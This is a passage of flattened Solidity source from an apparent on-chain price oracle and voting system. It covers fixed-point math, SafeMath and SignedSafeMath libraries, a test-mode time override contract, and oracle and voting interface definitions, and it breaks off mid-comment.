* @param a a uint256.
* @param b a FixedPoint.
* @return True if `a <= b`, or False.
*/
function isLessThanOrEqual(uint256 a, Unsigned memory b) internal pure returns (bool) {
return fromUnscaledUint(a).rawValue <= b.rawValue;
}
/**
* @notice The minimum of `a` and `b`.
* @param a a FixedPoint.
* @param b a FixedPoint.
* @return the minimum of `a` and `b`.
*/
function min(Unsigned memory a, Unsigned memory b) internal pure returns (Unsigned memory) {
return a.rawValue < b.rawValue ? a : b;
}
/**
* @notice The maximum of `a` and `b`.
* @param a a FixedPoint.
* @param b a FixedPoint.
* @return the maximum of `a` and `b`.
*/
function max(Unsigned memory a, Unsigned memory b) internal pure returns (Unsigned memory) {
return a.rawValue > b.rawValue ? a : b;
}
/**
* @notice Adds two `Unsigned`s, reverting on overflow.
* @param a a FixedPoint.
* @param b a FixedPoint.
* @return the sum of `a` and `b`.
*/
function add(Unsigned memory a, Unsigned memory b) internal pure returns (Unsigned memory) {
return Unsigned(a.rawValue.add(b.rawValue));
}
/**
* @notice Adds an `Unsigned` to an unscaled uint, reverting on overflow.
* @param a a FixedPoint.
* @param b a uint256.
* @return the sum of `a` and `b`.
*/
function add(Unsigned memory a, uint256 b) internal pure returns (Unsigned memory) {
return add(a, fromUnscaledUint(b));
}
/**
* @notice Subtracts two `Unsigned`s, reverting on overflow.
* @param a a FixedPoint.
* @param b a FixedPoint.
* @return the difference of `a` and `b`.
*/
function sub(Unsigned memory a, Unsigned memory b) internal pure returns (Unsigned memory) {
return Unsigned(a.rawValue.sub(b.rawValue));
}
/**
* @notice Subtracts an unscaled uint256 from an `Unsigned`, reverting on overflow.
* @param a a FixedPoint.
* @param b a uint256.
* @return the difference of `a` and `b`.
*/
function sub(Unsigned memory a, uint256 b) internal pure returns (Unsigned memory) {
return sub(a, fromUnscaledUint(b));
}
/**
* @notice Subtracts an `Unsigned` from an unscaled uint256, reverting on overflow.
* @param a a uint256.
* @param b a FixedPoint.
* @return the difference of `a` and `b`.
*/
function sub(uint256 a, Unsigned memory b) internal pure returns (Unsigned memory) {
return sub(fromUnscaledUint(a), b);
}
/**
* @notice Multiplies two `Unsigned`s, reverting on overflow.
* @dev This will "floor" the product.
* @param a a FixedPoint.
* @param b a FixedPoint.
* @return the product of `a` and `b`.
*/
function mul(Unsigned memory a, Unsigned memory b) internal pure returns (Unsigned memory) {
// There are two caveats with this computation:
// 1. Max output for the represented number is ~10^41, otherwise an intermediate value overflows. 10^41 is
// stored internally as a uint256 ~10^59.
// 2. Results that can't be represented exactly are truncated not rounded. E.g., 1.4 * 2e-18 = 2.8e-18, which
// would round to 3, but this computation produces the result 2.
// No need to use SafeMath because FP_SCALING_FACTOR != 0.
return Unsigned(a.rawValue.mul(b.rawValue) / FP_SCALING_FACTOR);
}
/**
* @notice Multiplies an `Unsigned` and an unscaled uint256, reverting on overflow.
* @dev This will "floor" the product.
* @param a a FixedPoint.
* @param b a uint256.
* @return the product of `a` and `b`.
*/
function mul(Unsigned memory a, uint256 b) internal pure returns (Unsigned memory) {
return Unsigned(a.rawValue.mul(b));
}
/**
* @notice Multiplies two `Unsigned`s and "ceil's" the product, reverting on overflow.
* @param a a FixedPoint.
* @param b a FixedPoint.
* @return the product of `a` and `b`.
*/
function mulCeil(Unsigned memory a, Unsigned memory b) internal pure returns (Unsigned memory) {
uint256 mulRaw = a.rawValue.mul(b.rawValue);
uint256 mulFloor = mulRaw / FP_SCALING_FACTOR;
uint256 mod = mulRaw.mod(FP_SCALING_FACTOR);
if (mod != 0) {
return Unsigned(mulFloor.add(1));
} else {
return Unsigned(mulFloor);
}
}
/**
* @notice Multiplies an `Unsigned` and an unscaled uint256 and "ceil's" the product, reverting on overflow.
* @param a a FixedPoint.
* @param b a FixedPoint.
* @return the product of `a` and `b`.
*/
function mulCeil(Unsigned memory a, uint256 b) internal pure returns (Unsigned memory) {
// Since b is an int, there is no risk of truncation and we can just mul it normally
return Unsigned(a.rawValue.mul(b));
}
/**
* @notice Divides one `Unsigned` by an `Unsigned`, reverting on overflow or division by 0.
* @dev This will "floor" the quotient.
* @param a a FixedPoint numerator.
* @param b a FixedPoint denominator.
* @return the quotient of `a` divided by `b`.
*/
function div(Unsigned memory a, Unsigned memory b) internal pure returns (Unsigned memory) {
// There are two caveats with this computation:
// 1. Max value for the number dividend `a` represents is ~10^41, otherwise an intermediate value overflows.
// 10^41 is stored internally as a uint256 10^59.
// 2. Results that can't be represented exactly are truncated not rounded. E.g., 2 / 3 = 0.6 repeating, which
// would round to 0.666666666666666667, but this computation produces the result 0.666666666666666666.
return Unsigned(a.rawValue.mul(FP_SCALING_FACTOR).div(b.rawValue));
}
/**
* @notice Divides one `Unsigned` by an unscaled uint256, reverting on overflow or division by 0.
* @dev This will "floor" the quotient.
* @param a a FixedPoint numerator.
* @param b a uint256 denominator.
* @return the quotient of `a` divided by `b`.
*/
function div(Unsigned memory a, uint256 b) internal pure returns (Unsigned memory) {
return Unsigned(a.rawValue.div(b));
}
/**
* @notice Divides one unscaled uint256 by an `Unsigned`, reverting on overflow or division by 0.
* @dev This will "floor" the quotient.
* @param a a uint256 numerator.
* @param b a FixedPoint denominator.
* @return the quotient of `a` divided by `b`.
*/
function div(uint256 a, Unsigned memory b) internal pure returns (Unsigned memory) {
return div(fromUnscaledUint(a), b);
}
/**
* @notice Divides one `Unsigned` by an `Unsigned` and "ceil's" the quotient, reverting on overflow or division by 0.
* @param a a FixedPoint numerator.
* @param b a FixedPoint denominator.
* @return the quotient of `a` divided by `b`.
*/
function divCeil(Unsigned memory a, Unsigned memory b) internal pure returns (Unsigned memory) {
uint256 aScaled = a.rawValue.mul(FP_SCALING_FACTOR);
uint256 divFloor = aScaled.div(b.rawValue);
uint256 mod = aScaled.mod(b.rawValue);
if (mod != 0) {
return Unsigned(divFloor.add(1));
} else {
return Unsigned(divFloor);
}
}
/**
* @notice Divides one `Unsigned` by an unscaled uint256 and "ceil's" the quotient, reverting on overflow or division by 0.
* @param a a FixedPoint numerator.
* @param b a uint256 denominator.
* @return the quotient of `a` divided by `b`.
*/
function divCeil(Unsigned memory a, uint256 b) internal pure returns (Unsigned memory) {
// Because it is possible that a quotient gets truncated, we can't just call "Unsigned(a.rawValue.div(b))"
// similarly to mulCeil with a uint256 as the second parameter. Therefore we need to convert b into an Unsigned.
// This creates the possibility of overflow if b is very large.
return divCeil(a, fromUnscaledUint(b));
}
/**
* @notice Raises an `Unsigned` to the power of an unscaled uint256, reverting on overflow. E.g., `b=2` squares `a`.
* @dev This will "floor" the result.
* @param a a FixedPoint numerator.
* @param b a uint256 denominator.
* @return output is `a` to the power of `b`.
*/
function pow(Unsigned memory a, uint256 b) internal pure returns (Unsigned memory output) {
output = fromUnscaledUint(1);
for (uint256 i = 0; i < b; i = i.add(1)) {
output = mul(output, a);
}
}
// ------------------------------------------------- SIGNED -------------------------------------------------------------
// Supports 18 decimals. E.g., 1e18 represents "1", 5e17 represents "0.5".
// For signed values:
// This can represent a value up (or down) to +-(2^255 - 1)/10^18 = ~10^58. 10^58 will be stored internally as int256 10^76.
int256 private constant SFP_SCALING_FACTOR = 10**18;
struct Signed {
int256 rawValue;
}
function fromSigned(Signed memory a) internal pure returns (Unsigned memory) {
require(a.rawValue >= 0, "Negative value provided");
return Unsigned(uint256(a.rawValue));
}
function fromUnsigned(Unsigned memory a) internal pure returns (Signed memory) {
require(a.rawValue <= uint256(type(int256).max), "Unsigned too large");
return Signed(int256(a.rawValue));
}
/**
* @notice Constructs a `Signed` from an unscaled int, e.g., `b=5` gets stored internally as `5*(10**18)`.
* @param a int to convert into a FixedPoint.Signed.
* @return the converted FixedPoint.Signed.
*/
function fromUnscaledInt(int256 a) internal pure returns (Signed memory) {
return Signed(a.mul(SFP_SCALING_FACTOR));
}
/**
* @notice Whether `a` is equal to `b`.
* @param a a FixedPoint.Signed.
* @param b a int256.
* @return True if equal, or False.
*/
function isEqual(Signed memory a, int256 b) internal pure returns (bool) {
return a.rawValue == fromUnscaledInt(b).rawValue;
}
/**
* @notice Whether `a` is equal to `b`.
* @param a a FixedPoint.Signed.
* @param b a FixedPoint.Signed.
* @return True if equal, or False.
*/
function isEqual(Signed memory a, Signed memory b) internal pure returns (bool) {
return a.rawValue == b.rawValue;
}
/**
* @notice Whether `a` is greater than `b`.
* @param a a FixedPoint.Signed.
* @param b a FixedPoint.Signed.
* @return True if `a > b`, or False.
*/
function isGreaterThan(Signed memory a, Signed memory b) internal pure returns (bool) {
return a.rawValue > b.rawValue;
}
/**
* @notice Whether `a` is greater than `b`.
* @param a a FixedPoint.Signed.
* @param b an int256.
* @return True if `a > b`, or False.
*/
function isGreaterThan(Signed memory a, int256 b) internal pure returns (bool) {
return a.rawValue > fromUnscaledInt(b).rawValue;
}
/**
* @notice Whether `a` is greater than `b`.
* @param a an int256.
* @param b a FixedPoint.Signed.
* @return True if `a > b`, or False.
*/
function isGreaterThan(int256 a, Signed memory b) internal pure returns (bool) {
return fromUnscaledInt(a).rawValue > b.rawValue;
}
/**
* @notice Whether `a` is greater than or equal to `b`.
* @param a a FixedPoint.Signed.
* @param b a FixedPoint.Signed.
* @return True if `a >= b`, or False.
*/
function isGreaterThanOrEqual(Signed memory a, Signed memory b) internal pure returns (bool) {
return a.rawValue >= b.rawValue;
}
/**
* @notice Whether `a` is greater than or equal to `b`.
* @param a a FixedPoint.Signed.
* @param b an int256.
* @return True if `a >= b`, or False.
*/
function isGreaterThanOrEqual(Signed memory a, int256 b) internal pure returns (bool) {
return a.rawValue >= fromUnscaledInt(b).rawValue;
}
/**
* @notice Whether `a` is greater than or equal to `b`.
* @param a an int256.
* @param b a FixedPoint.Signed.
* @return True if `a >= b`, or False.
*/
function isGreaterThanOrEqual(int256 a, Signed memory b) internal pure returns (bool) {
return fromUnscaledInt(a).rawValue >= b.rawValue;
}
/**
* @notice Whether `a` is less than `b`.
* @param a a FixedPoint.Signed.
* @param b a FixedPoint.Signed.
* @return True if `a < b`, or False.
*/
function isLessThan(Signed memory a, Signed memory b) internal pure returns (bool) {
return a.rawValue < b.rawValue;
}
/**
* @notice Whether `a` is less than `b`.
* @param a a FixedPoint.Signed.
* @param b an int256.
* @return True if `a < b`, or False.
*/
function isLessThan(Signed memory a, int256 b) internal pure returns (bool) {
return a.rawValue < fromUnscaledInt(b).rawValue;
}
/**
* @notice Whether `a` is less than `b`.
* @param a an int256.
* @param b a FixedPoint.Signed.
* @return True if `a < b`, or False.
*/
function isLessThan(int256 a, Signed memory b) internal pure returns (bool) {
return fromUnscaledInt(a).rawValue < b.rawValue;
}
/**
* @notice Whether `a` is less than or equal to `b`.
* @param a a FixedPoint.Signed.
* @param b a FixedPoint.Signed.
* @return True if `a <= b`, or False.
*/
function isLessThanOrEqual(Signed memory a, Signed memory b) internal pure returns (bool) {
return a.rawValue <= b.rawValue;
}
/**
* @notice Whether `a` is less than or equal to `b`.
* @param a a FixedPoint.Signed.
* @param b an int256.
* @return True if `a <= b`, or False.
*/
function isLessThanOrEqual(Signed memory a, int256 b) internal pure returns (bool) {
return a.rawValue <= fromUnscaledInt(b).rawValue;
}
/**
* @notice Whether `a` is less than or equal to `b`.
* @param a an int256.
* @param b a FixedPoint.Signed.
* @return True if `a <= b`, or False.
*/
function isLessThanOrEqual(int256 a, Signed memory b) internal pure returns (bool) {
return fromUnscaledInt(a).rawValue <= b.rawValue;
}
/**
* @notice The minimum of `a` and `b`.
* @param a a FixedPoint.Signed.
* @param b a FixedPoint.Signed.
* @return the minimum of `a` and `b`.
*/
function min(Signed memory a, Signed memory b) internal pure returns (Signed memory) {
return a.rawValue < b.rawValue ? a : b;
}
/**
* @notice The maximum of `a` and `b`.
* @param a a FixedPoint.Signed.
* @param b a FixedPoint.Signed.
* @return the maximum of `a` and `b`.
*/
function max(Signed memory a, Signed memory b) internal pure returns (Signed memory) {
return a.rawValue > b.rawValue ? a : b;
}
/**
* @notice Adds two `Signed`s, reverting on overflow.
* @param a a FixedPoint.Signed.
* @param b a FixedPoint.Signed.
* @return the sum of `a` and `b`.
*/
function add(Signed memory a, Signed memory b) internal pure returns (Signed memory) {
return Signed(a.rawValue.add(b.rawValue));
}
/**
* @notice Adds an `Signed` to an unscaled int, reverting on overflow.
* @param a a FixedPoint.Signed.
* @param b an int256.
* @return the sum of `a` and `b`.
*/
function add(Signed memory a, int256 b) internal pure returns (Signed memory) {
return add(a, fromUnscaledInt(b));
}
/**
* @notice Subtracts two `Signed`s, reverting on overflow.
* @param a a FixedPoint.Signed.
* @param b a FixedPoint.Signed.
* @return the difference of `a` and `b`.
*/
function sub(Signed memory a, Signed memory b) internal pure returns (Signed memory) {
return Signed(a.rawValue.sub(b.rawValue));
}
/**
* @notice Subtracts an unscaled int256 from an `Signed`, reverting on overflow.
* @param a a FixedPoint.Signed.
* @param b an int256.
* @return the difference of `a` and `b`.
*/
function sub(Signed memory a, int256 b) internal pure returns (Signed memory) {
return sub(a, fromUnscaledInt(b));
}
/**
* @notice Subtracts an `Signed` from an unscaled int256, reverting on overflow.
* @param a an int256.
* @param b a FixedPoint.Signed.
* @return the difference of `a` and `b`.
*/
function sub(int256 a, Signed memory b) internal pure returns (Signed memory) {
return sub(fromUnscaledInt(a), b);
}
/**
* @notice Multiplies two `Signed`s, reverting on overflow.
* @dev This will "floor" the product.
* @param a a FixedPoint.Signed.
* @param b a FixedPoint.Signed.
* @return the product of `a` and `b`.
*/
function mul(Signed memory a, Signed memory b) internal pure returns (Signed memory) {
// There are two caveats with this computation:
// 1. Max output for the represented number is ~10^41, otherwise an intermediate value overflows. 10^41 is
// stored internally as an int256 ~10^59.
// 2. Results that can't be represented exactly are truncated not rounded. E.g., 1.4 * 2e-18 = 2.8e-18, which
// would round to 3, but this computation produces the result 2.
// No need to use SafeMath because SFP_SCALING_FACTOR != 0.
return Signed(a.rawValue.mul(b.rawValue) / SFP_SCALING_FACTOR);
}
/**
* @notice Multiplies an `Signed` and an unscaled int256, reverting on overflow.
* @dev This will "floor" the product.
* @param a a FixedPoint.Signed.
* @param b an int256.
* @return the product of `a` and `b`.
*/
function mul(Signed memory a, int256 b) internal pure returns (Signed memory) {
return Signed(a.rawValue.mul(b));
}
/**
* @notice Multiplies two `Signed`s and "ceil's" the product, reverting on overflow.
* @param a a FixedPoint.Signed.
* @param b a FixedPoint.Signed.
* @return the product of `a` and `b`.
*/
function mulAwayFromZero(Signed memory a, Signed memory b) internal pure returns (Signed memory) {
int256 mulRaw = a.rawValue.mul(b.rawValue);
int256 mulTowardsZero = mulRaw / SFP_SCALING_FACTOR;
// Manual mod because SignedSafeMath doesn't support it.
int256 mod = mulRaw % SFP_SCALING_FACTOR;
if (mod != 0) {
bool isResultPositive = isLessThan(a, 0) == isLessThan(b, 0);
int256 valueToAdd = isResultPositive ? int256(1) : int256(-1);
return Signed(mulTowardsZero.add(valueToAdd));
} else {
return Signed(mulTowardsZero);
}
}
/**
* @notice Multiplies an `Signed` and an unscaled int256 and "ceil's" the product, reverting on overflow.
* @param a a FixedPoint.Signed.
* @param b a FixedPoint.Signed.
* @return the product of `a` and `b`.
*/
function mulAwayFromZero(Signed memory a, int256 b) internal pure returns (Signed memory) {
// Since b is an int, there is no risk of truncation and we can just mul it normally
return Signed(a.rawValue.mul(b));
}
/**
* @notice Divides one `Signed` by an `Signed`, reverting on overflow or division by 0.
* @dev This will "floor" the quotient.
* @param a a FixedPoint numerator.
* @param b a FixedPoint denominator.
* @return the quotient of `a` divided by `b`.
*/
function div(Signed memory a, Signed memory b) internal pure returns (Signed memory) {
// There are two caveats with this computation:
// 1. Max value for the number dividend `a` represents is ~10^41, otherwise an intermediate value overflows.
// 10^41 is stored internally as an int256 10^59.
// 2. Results that can't be represented exactly are truncated not rounded. E.g., 2 / 3 = 0.6 repeating, which
// would round to 0.666666666666666667, but this computation produces the result 0.666666666666666666.
return Signed(a.rawValue.mul(SFP_SCALING_FACTOR).div(b.rawValue));
}
/**
* @notice Divides one `Signed` by an unscaled int256, reverting on overflow or division by 0.
* @dev This will "floor" the quotient.
* @param a a FixedPoint numerator.
* @param b an int256 denominator.
* @return the quotient of `a` divided by `b`.
*/
function div(Signed memory a, int256 b) internal pure returns (Signed memory) {
return Signed(a.rawValue.div(b));
}
/**
* @notice Divides one unscaled int256 by an `Signed`, reverting on overflow or division by 0.
* @dev This will "floor" the quotient.
* @param a an int256 numerator.
* @param b a FixedPoint denominator.
* @return the quotient of `a` divided by `b`.
*/
function div(int256 a, Signed memory b) internal pure returns (Signed memory) {
return div(fromUnscaledInt(a), b);
}
/**
* @notice Divides one `Signed` by an `Signed` and "ceil's" the quotient, reverting on overflow or division by 0.
* @param a a FixedPoint numerator.
* @param b a FixedPoint denominator.
* @return the quotient of `a` divided by `b`.
*/
function divAwayFromZero(Signed memory a, Signed memory b) internal pure returns (Signed memory) {
int256 aScaled = a.rawValue.mul(SFP_SCALING_FACTOR);
int256 divTowardsZero = aScaled.div(b.rawValue);
// Manual mod because SignedSafeMath doesn't support it.
int256 mod = aScaled % b.rawValue;
if (mod != 0) {
bool isResultPositive = isLessThan(a, 0) == isLessThan(b, 0);
int256 valueToAdd = isResultPositive ? int256(1) : int256(-1);
return Signed(divTowardsZero.add(valueToAdd));
} else {
return Signed(divTowardsZero);
}
}
/**
* @notice Divides one `Signed` by an unscaled int256 and "ceil's" the quotient, reverting on overflow or division by 0.
* @param a a FixedPoint numerator.
* @param b an int256 denominator.
* @return the quotient of `a` divided by `b`.
*/
function divAwayFromZero(Signed memory a, int256 b) internal pure returns (Signed memory) {
// Because it is possible that a quotient gets truncated, we can't just call "Signed(a.rawValue.div(b))"
// similarly to mulCeil with an int256 as the second parameter. Therefore we need to convert b into an Signed.
// This creates the possibility of overflow if b is very large.
return divAwayFromZero(a, fromUnscaledInt(b));
}
/**
* @notice Raises an `Signed` to the power of an unscaled uint256, reverting on overflow. E.g., `b=2` squares `a`.
* @dev This will "floor" the result.
* @param a a FixedPoint.Signed.
* @param b a uint256 (negative exponents are not allowed).
* @return output is `a` to the power of `b`.
*/
function pow(Signed memory a, uint256 b) internal pure returns (Signed memory output) {
output = fromUnscaledInt(1);
for (uint256 i = 0; i < b; i = i.add(1)) {
output = mul(output, a);
}
}
}
pragma solidity ^0.6.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
pragma solidity ^0.6.0;
/**
* @title SignedSafeMath
* @dev Signed math operations with safety checks that revert on error.
*/
library SignedSafeMath {
int256 constant private _INT256_MIN = -2**255;
/**
* @dev Multiplies two signed integers, reverts on overflow.
*/
function mul(int256 a, int256 b) internal pure returns (int256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
require(!(a == -1 && b == _INT256_MIN), "SignedSafeMath: multiplication overflow");
int256 c = a * b;
require(c / a == b, "SignedSafeMath: multiplication overflow");
return c;
}
/**
* @dev Integer division of two signed integers truncating the quotient, reverts on division by zero.
*/
function div(int256 a, int256 b) internal pure returns (int256) {
require(b != 0, "SignedSafeMath: division by zero");
require(!(b == -1 && a == _INT256_MIN), "SignedSafeMath: division overflow");
int256 c = a / b;
return c;
}
/**
* @dev Subtracts two signed integers, reverts on overflow.
*/
function sub(int256 a, int256 b) internal pure returns (int256) {
int256 c = a - b;
require((b >= 0 && c <= a) || (b < 0 && c > a), "SignedSafeMath: subtraction overflow");
return c;
}
/**
* @dev Adds two signed integers, reverts on overflow.
*/
function add(int256 a, int256 b) internal pure returns (int256) {
int256 c = a + b;
require((b >= 0 && c >= a) || (b < 0 && c < a), "SignedSafeMath: addition overflow");
return c;
}
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
import "../../common/implementation/FixedPoint.sol";
import "../../common/implementation/Testable.sol";
import "../interfaces/OracleInterface.sol";
import "../interfaces/VotingInterface.sol";
// A mock oracle used for testing. Exports the voting & oracle interfaces and events that contain no ancillary data.
abstract contract VotingInterfaceTesting is OracleInterface, VotingInterface, Testable {
using FixedPoint for FixedPoint.Unsigned;
// Events, data structures and functions not exported in the base interfaces, used for testing.
event VoteCommitted(
address indexed voter,
uint256 indexed roundId,
bytes32 indexed identifier,
uint256 time,
bytes ancillaryData
);
event EncryptedVote(
address indexed voter,
uint256 indexed roundId,
bytes32 indexed identifier,
uint256 time,
bytes ancillaryData,
bytes encryptedVote
);
event VoteRevealed(
address indexed voter,
uint256 indexed roundId,
bytes32 indexed identifier,
uint256 time,
int256 price,
bytes ancillaryData,
uint256 numTokens
);
event RewardsRetrieved(
address indexed voter,
uint256 indexed roundId,
bytes32 indexed identifier,
uint256 time,
bytes ancillaryData,
uint256 numTokens
);
event PriceRequestAdded(uint256 indexed roundId, bytes32 indexed identifier, uint256 time);
event PriceResolved(
uint256 indexed roundId,
bytes32 indexed identifier,
uint256 time,
int256 price,
bytes ancillaryData
);
struct Round {
uint256 snapshotId; // Voting token snapshot ID for this round. 0 if no snapshot has been taken.
FixedPoint.Unsigned inflationRate; // Inflation rate set for this round.
FixedPoint.Unsigned gatPercentage; // Gat rate set for this round.
uint256 rewardsExpirationTime; // Time that rewards for this round can be claimed until.
}
// Represents the status a price request has.
enum RequestStatus {
NotRequested, // Was never requested.
Active, // Is being voted on in the current round.
Resolved, // Was resolved in a previous round.
Future // Is scheduled to be voted on in a future round.
}
// Only used as a return value in view methods -- never stored in the contract.
struct RequestState {
RequestStatus status;
uint256 lastVotingRound;
}
function rounds(uint256 roundId) public view virtual returns (Round memory);
function getPriceRequestStatuses(VotingInterface.PendingRequest[] memory requests)
public
view
virtual
returns (RequestState[] memory);
function getPendingPriceRequestsArray() external view virtual returns (bytes32[] memory);
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
import "./Timer.sol";
/**
* @title Base class that provides time overrides, but only if being run in test mode.
*/
abstract contract Testable {
// If the contract is being run on the test network, then `timerAddress` will be the 0x0 address.
// Note: this variable should be set on construction and never modified.
address public timerAddress;
/**
* @notice Constructs the Testable contract. Called by child contracts.
* @param _timerAddress Contract that stores the current time in a testing environment.
* Must be set to 0x0 for production environments that use live time.
*/
constructor(address _timerAddress) internal {
timerAddress = _timerAddress;
}
/**
* @notice Reverts if not running in test mode.
*/
modifier onlyIfTest {
require(timerAddress != address(0x0));
_;
}
/**
* @notice Sets the current time.
* @dev Will revert if not running in test mode.
* @param time timestamp to set current Testable time to.
*/
function setCurrentTime(uint256 time) external onlyIfTest {
Timer(timerAddress).setCurrentTime(time);
}
/**
* @notice Gets the current time. Will return the last time set in `setCurrentTime` if running in test mode.
* Otherwise, it will return the block timestamp.
* @return uint for the current Testable timestamp.
*/
function getCurrentTime() public view returns (uint256) {
if (timerAddress != address(0x0)) {
return Timer(timerAddress).getCurrentTime();
} else {
return now; // solhint-disable-line not-rely-on-time
}
}
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
/**
* @title Financial contract facing Oracle interface.
* @dev Interface used by financial contracts to interact with the Oracle. Voters will use a different interface.
*/
abstract contract OracleInterface {
/**
* @notice Enqueues a request (if a request isn't already present) for the given `identifier`, `time` pair.
* @dev Time must be in the past and the identifier must be supported.
* @param identifier uniquely identifies the price requested. eg BTC/USD (encoded as bytes32) could be requested.
* @param time unix timestamp for the price request.
*/
function requestPrice(bytes32 identifier, uint256 time) public virtual;
/**
* @notice Whether the price for `identifier` and `time` is available.
* @dev Time must be in the past and the identifier must be supported.
* @param identifier uniquely identifies the price requested. eg BTC/USD (encoded as bytes32) could be requested.
* @param time unix timestamp for the price request.
* @return bool if the DVM has resolved to a price for the given identifier and timestamp.
*/
function hasPrice(bytes32 identifier, uint256 time) public view virtual returns (bool);
/**
* @notice Gets the price for `identifier` and `time` if it has already been requested and resolved.
* @dev If the price is not available, the method reverts.
* @param identifier uniquely identifies the price requested. eg BTC/USD (encoded as bytes32) could be requested.
* @param time unix timestamp for the price request.
* @return int256 representing the resolved price for the given identifier and timestamp.
*/
function getPrice(bytes32 identifier, uint256 time) public view virtual returns (int256);
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
import "../../common/implementation/FixedPoint.sol";
import "./VotingAncillaryInterface.sol";
/**
* @title Interface that voters must use to Vote on price request resolutions.
*/
abstract contract VotingInterface {
struct PendingRequest {
bytes32 identifier;
uint256 time;
}
// Captures the necessary data for making a commitment.
// Used as a parameter when making batch commitments.
// Not used as a data structure for storage.
struct Commitment {
bytes32 identifier;
uint256 time;
bytes32 hash;
bytes encryptedVote;
}
// Captures the necessary data for revealing a vote.
// Used as a parameter when making batch reveals.
// Not used as a data structure for storage.
struct Reveal {
bytes32 identifier;
uint256 time;
int256 price;
int256 salt;
}
/**
* @notice Commit a vote for a price request for `identifier` at `time`.
* @dev `identifier`, `time` must correspond to a price request that's currently in the commit phase.
* Commits can be changed.
* @dev Since transaction data is public, the salt will be revealed with the vote. While this is the system’s expected behavior,
* voters should never reuse salts. If someone else is able to guess the voted price and knows that a salt will be reused, then
* they can determine the vote pre-reveal.
* @param identifier uniquely identifies the committed vote. EG BTC/USD price pair.
* @param time unix timestamp of the price being voted on.
* @param hash keccak256 hash of the `price`, `salt`, voter `address`, `time`, current `roundId`, and `identifier`.
*/
function commitVote(
bytes32 identifier,
uint256 time,
bytes32 hash
) external virtual;
/**
* @notice Submit a batch of commits in a single transaction.
* @dev Using `encryptedVote` is optional. If included then commitment is stored on chain.
* Look at `project-root/common/Constants.js` for the tested maximum number of
* commitments that can fit in one transaction.
* @param commits array of structs that encapsulate an `identifier`, `time`, `hash` and optional `encryptedVote`.
*/
function batchCommit(Commitment[] memory commits) public virtual;
/**
* @notice commits a vote and logs an event with a data blob, typically an encrypted version of the vote
* @dev An encrypted version of the vote is emitted in an event `EncryptedVote` to allow off-chain infrastructure to
* retrieve the commit. The contents of `encryptedVote` are never used on chain: it is purely for convenience.
* @param identifier unique price pair identifier. Eg: BTC/USD price pair.
* @param time unix timestamp of for the price request.
* @param hash keccak256 hash of the price you want to vote for and a `int256 salt`.
